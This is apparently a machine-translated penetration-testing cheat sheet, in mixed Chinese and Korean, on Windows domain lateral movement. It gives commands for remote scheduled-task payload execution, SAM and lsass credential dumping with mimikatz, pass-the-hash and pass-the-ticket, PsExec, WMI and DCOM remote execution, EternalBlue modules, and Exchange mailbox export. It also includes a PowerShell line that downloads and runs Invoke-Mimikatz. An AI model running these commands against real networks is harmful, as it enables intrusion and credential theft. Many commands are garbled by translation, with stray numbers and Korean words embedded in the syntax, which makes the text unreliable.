제목 : 도메인 내 수평 이동 분석

域内横向移动分析​

常用 Windows 远程连接和相关命令​

IPC​

1
NET 사용 \\ IP \ IPC $ '비밀번호' /user:AdMinistrator

IPC 的利用条件​

오픈 포트 139
관리자는 기본 공유를 활성화했습니다

使用 Windows 自带的工具获取远程主机信息​

dir 命令​

1
dir \\ ip \ c $

tasklist 命令​

1
TaskList /S IP /U 관리자 /P 비밀번호

计划任务​

at 命令​

주로 2008 버전 이전의 Windows Server

查看目标系统时间​

1
순 시간 \\ ip

将 payload 复制到目标系统中​

1
Payload.bat \\ ip \ c $를 복사하십시오

使用 at 命令创建计划任务​

1
\\ IP 8:00AM C: \ Payload.bat
예정된 작업 ID를 반환하십시오

清除 at 记录​

1
\\ ip taskId /delete에서
실행 결과를 리모콘에 저장하고 결과를 읽기 위해 사용하십시오.
1
at \\ ip 8336000am cmd.exe /c 'ipconfig c: /1.txt'
1
\\ ip \ c $ \ 1.txt를 입력하십시오

schtask 命令​

建立 IPC 连接​

创建名为 task 的计划任务​

1
Schtask /Create /S IP /TN Test /SC Onstart /Tr C: \ Payload.bat /Ru System /F

执行该计划任务​

1
Schtask /Run /S IP /I /TN 'Test'

删除计划任务​

1
Schtask /Delete /S IP /TN 'Test' /F.

Windows 系统散列值获取​

单机密码抓取​

GetPass​

1
getpassword_x64.exe

PwDump7​

1
pwdump7.exe

通过 SAM 和 SYSTEM 文件抓取密码​

导出 SAM 和 System 文件​

1
2
Reg Save Hklm \ Sam Sam.hive
reg save hklm \ system system.hive

通过读取 SAM 和 System 文件获得 NTLM Hash​

Mimikatz
1
LSADUMP33333:SAM /SAM:SAM.HIVE SYSTEM:SYSTEM.HIVE
카인
대상 기계는 Mimikatz를 사용하여 로컬 SAM 파일을 직접 읽습니다.
1
2
권한 3:debug
LSADUMP3:SAM

使用 mimikatz 在线读取 SAM 文件​

1
mimikatz.exe '권한 :debug' 'log' 'sekurlsa:loginpasswords'

使用 mimikatz 离线读取 lass.dmp 文件​

导出 lass.dmp 文件​

작업 관리자를 사용한 lsass.dmp 파일 내보내기
작업 관리자는 lsass.exe 프로세스를 찾아 마우스 오른쪽 버튼을 클릭하고 "덤프 파일 만들기"옵션을 선택합니다.
ProcDump를 사용한 lsass.dmp 파일 내보내기
Microsoft는 공식적으로 도구를 공개하여 살해 할 수 없습니다
1
ProcDump.exe -accepteula -ma lsass.exe lsass.dmp

使用 mimikatz 导出 lsass.dmp 文件中的密码值​

1
2
Sekurlsa:3360mimidump lsass.dmp
Sekurlsa:LogonPasswords 가득

使用 Powershell 对散列值进行 Dump 操作​

1
import-module. \ get-passhashes.ps1

使用 Powershell 远程加载 mimikatz 抓取散列值和明文密码​

1
PowerShell 'IEX (New-Object net.webclient) .downloadString ('https://raw.githubusercontent.com/mattifestation/pwoersploit/master/exfilration/invoke-mimikatz.ps1 ');

哈希传递攻击​

使用 NTLM Hash 进行哈希传递​

1
Mimikatz 'privilege:debug' 'sekurlsa33333:pth /user3:administrator /domminain3360pentest.hacker /ntlm: [ntlm]'

使用 AES-256 密钥进行哈希传递​

크롤링 AES-256 MIMIKATZ가있는 키
1
Mimikatz '권한 3:debug' 'Sekurlsa:ekeys'
PTH 공격 (대상 기계는 KB2871997을 설치해야합니다)
1
Mimikatz 'privilege:debug' 'sekurlsa33333:pth /user3:administrator /dommin:pentest.hacker /aes2563: [AES256]'

票据传递​

使用 mimikatz 进行票据传递​

导出票据​

1
Mimikatz 'Privilege:debug' 'Sekurlsa:tickets /Evports'

注入票据​

1
Mimikatz 'Kerberos:ptt' 'C: \ xxx.kirbi'

使用 kekeo 进行票据传递​

生成票据文件​

1
Kekeo 'TGT:ASK /USER:ADMINISTRARTRATRATR /DOMAIN:PENTEST.HACK /NTLM: [NTLM]'

将票据文件导入内存​

1
Kekeo 'Kerberos:ptt xxx.kirbi'

PsExec 的使用​

PsTools 工具中的 PsExec​

建立 IPC 连接​

1
순이 사용 \\ ip \ ipc $ 'password' /u:administrator

获取 System 权限的 交互式shell​

1
2
3
psexec.exe -accepteula \\ ip -s cmd.exe
또는
psexec.exe -accepteula \\ ip -s cmd.exe /c ipconfig
-S 명령이 사용되지 않으면 관리자 권한이있는 쉘을 만듭니다.
IPC 연결이 설정되지 않은 경우 :
1
psexec.exe -accepteula \\ ip -u 관리자 -p password -s cmd.exe

Metasploit 中的 psexec 模块​

Exploit/Windows/SMB/PSEXEC
Exploit/Windows/SMB/PSEXEC_PSH (PowerShell 버전)

WMI 的使用​

基本命令​

1
WMIC /NODE:IP /USER:ADMINISTRARTR /PASSOFOR: PROCESS CALL CREATE 'CMD.EXE /C IPCONFIG IP.TXT'
IPC 연결을 설정 한 후 유형 명령을 사용하여 결과를 읽으십시오.
1
\\ ip \ c $ \ ip.txt를 입력하십시오

impacket 包中的 wmiexec​

1
wmiexec.py Administrator:Password@ip

wmiexec.vbs​

반 인터랙티브 쉘
1
cscript.exe //nologo wmiexec.vbs /shell IP 관리자 비밀번호
단일 명령을 실행하십시오
1
cscript.exe wmiexec.vbs /cmd IP 관리자 암호 'ipconfig'
Ping 및 SystemInfo와 같은 더 긴 실행 시간이있는 명령의 경우 -wait 5000 명령 이상이 필요합니다. 출력 주문이 필요하지 않은 NC 등을 실행할 때는 실행을 기다려야합니다. -persist 매개 변수가 필요합니다.
PowerSploit 툴킷에서

Invoke-WmiCommand​

INMOKE -wmicommand.ps1을 시스템으로 가져옵니다
1
2
3
4
5
6
7
8
9
$ user='pentest.hacker \ Administrator'
$ password=convertTo -securestring -String 'password'-asplaintext -force
$ cred=new -Object -Typename System.management.Automation.pscredential -argumentlist $ user, $ password
$ remote=invoke -wmicommand -payload {ipconfig} --credential $ cred -computername ip
$ remore.PayLoadOutput

Invoke-WMIMethod​

PowerShell과 함께 제공되는 Invoke-Wmimethod를 사용합니다. PowerShell은 상호 관계가없고 에코가 없습니다.
1
2
3
4
5
6
7
$ user='pentest.hacker \ Administrator'
$ password=convertTo -securestring -String 'password'-asplaintext -force
$ cred=new -Object -Typename System.management.Automation.pscredential -argumentlist $ user, $ password
$ remote=invoke -wmimethod -class win32_process -name 만들기 -argumentlist 'calc.exe'--credential $ cred -computername ip

永恒之蓝漏洞​

보조/스캐너/SMB/SMB_MS17_010
Exploit/Windows/SMB/MS17_010_ETERNALBLUE

smbexec​

C++ 版本 smbexec​

EXECSERVER.EXE를 C: \ Windows \ 대상 시스템의 디렉토리에 업로드하고 UAC의 제한 사항을 명령에 따라 들어 올리십시오.
1
2
Net Use \\ IP 'Password' /User:Pentest \ Administrator
Test.exe IP 관리자 비밀번호 Whoami C $

impacket 工具包中的 smbexec.py​

1
smbexec.py penteer/administrator:password \ @ip

DCOM 在远程系统中的使用​

通过本地 DCOM 执行命令​

获取 DCOM 程序列表​

Windows Server 2012 이상
1
get-ciminstance win32_dcomapplicatioon
Windows 7, Windows Server 2008
1
get -wmicobject -namespace root \ cimv2 -class win32_dcomapplication

使用 DCOM 执行任意命令​

로컬로 관리자 권한이있는 PowerShell을 시작합니다
1
[System.Activator] :CreateInstance ([유형] :getTypefromProgid ( 'mmc20.application', '127.0.0.1'). accube.activeview.executeshellcommand ( 'cmd.exe', '', '') '').

使用 DCOM 在远程机器上执行命令​

원격으로 연결할 때 로컬 관리자 권한이있는 계정을 사용해야합니다.

使用 IPC$ 连接远程计算机​

1
NET 사용 \\ ip 'password'/user:pentest.hacker\win7user

执行命令​

调用 MMC20_Application 远程执行命令​

1
2
$ com=[Activator] :CreateInstance ([유형] :getTypefromProgid ( 'mmc20.application', 'IP'))
$ com.document.ActiveView.ExecuteshellCommand ( 'cmd.exe', '0', '/c calc.exe', 'minimzed')

调用 9BA05972-F6A8-11CF-A442-00A0C90A8F39​

1
2
3
4
$ com=[type] :getTypefromcromclsid ( '9BA05972-F6A8-11CF-A442-00A0C90A8F39', 'IP')
$ obj=[System.Activator] :CreateInstance ($ com)
$ item=$ obj.item ()
$ item.document.application.shellexecute ( 'cmd.exe', '/c calc.exe', 'c: \ windows \ system32', '$ null', 0)

SPN 在域环境中的使用​

SPN 扫描​

POWERSHELL-AD-RECON

利用 SPN 发现域中所有的 MSSQL 服务​

1
2
import-module. \ discover-psmssqlserver.ps1
Discover-PSMSSQLServers

扫描域中所有的 SPN 信息​

1
2
import-module. \ discover-psinterestingservices.ps1
Discover-Psinterestingservices
타사 PowerShell 스크립트를 사용하지 않고 다음 명령을 입력하여 모든 SPN 정보를 쿼리하십시오.
1
setspn -t 도메인 -Q */*

Exchange 邮件服务器攻击​

Exchange 服务发现​

基于端口扫描发现​

1
nmap -a -o -sv ip

SPN 查询​

1
setspn -t pentest.hacker -f -q */*

Exchange 的基本操作​

查看邮件数据库​

1
2
Add-pssnapin microsoft.exchange*
get -mailboxdatabase -server 'exchange1'
데이터베이스를 지정하고 자세한 내용은 쿼리하십시오
1
get -mailboxdatabase- '사서함 데이터베이스 1894576043'| 형식 목록 이름, edbfilepath, logfolderpath

获取现有用户的邮件地址​

1
Get-Mailbox | 형식 테이블 이름, WindowsEmailAddress

查看指定用户的邮箱使用信息​

1
Get -MailboxStatistics- 관리자 식별 | DisplayName, ItemCount, TotalItemSize, LastLogontime을 선택하십시오

获取用户邮箱中的邮件数量​

1
get -mailbox -resultsize 무제한 | Get-MailboxStatistics | Sort -Object totalitemsize -decend

导出指定的电子邮件​

配置用户的导入、导出权限​

查看用户权限​

1
Get -ManagementRoleAssignment -ROLE '사서함 가져 오기 내보내기'| 형식 목록 ROLEASSIGNEENAME

添加权限​

1
New -ManagementRoleAssignment -Name 'import export_domain Admins' -사용자 '관리자' -롤 '사서함 가져 오기 내보내기'

删除权限​

1
New -ManagementRoleAssignment 'import Export_domain Admins'-Confirm: $ false

设置网络共享文件夹​

1
NET SHARE INETPUB=C: \ INETPUB /GRANT:EVERVEREONE, FULL

导出用户的电子邮件​

1
New -MailboxExportRequest -mailbox 관리자 -filepath \\ ip \ inetpub \ administrator.pst

管理导出请求​

이전 내보내기 기록을보십시오
1
MailboxExportRequest를 얻으십시오
지정된 사용자의 완료된 내보내기 요청을 삭제하십시오
1
MailboxExportrequest를 제거합니다 -관리자 \ MailBoxExport
내보낸 모든 요청을 삭제하십시오
1
get -mailboxexportrequest -Status 완료 | MailboxExportRequest를 제거하십시오
 
뒤로
상단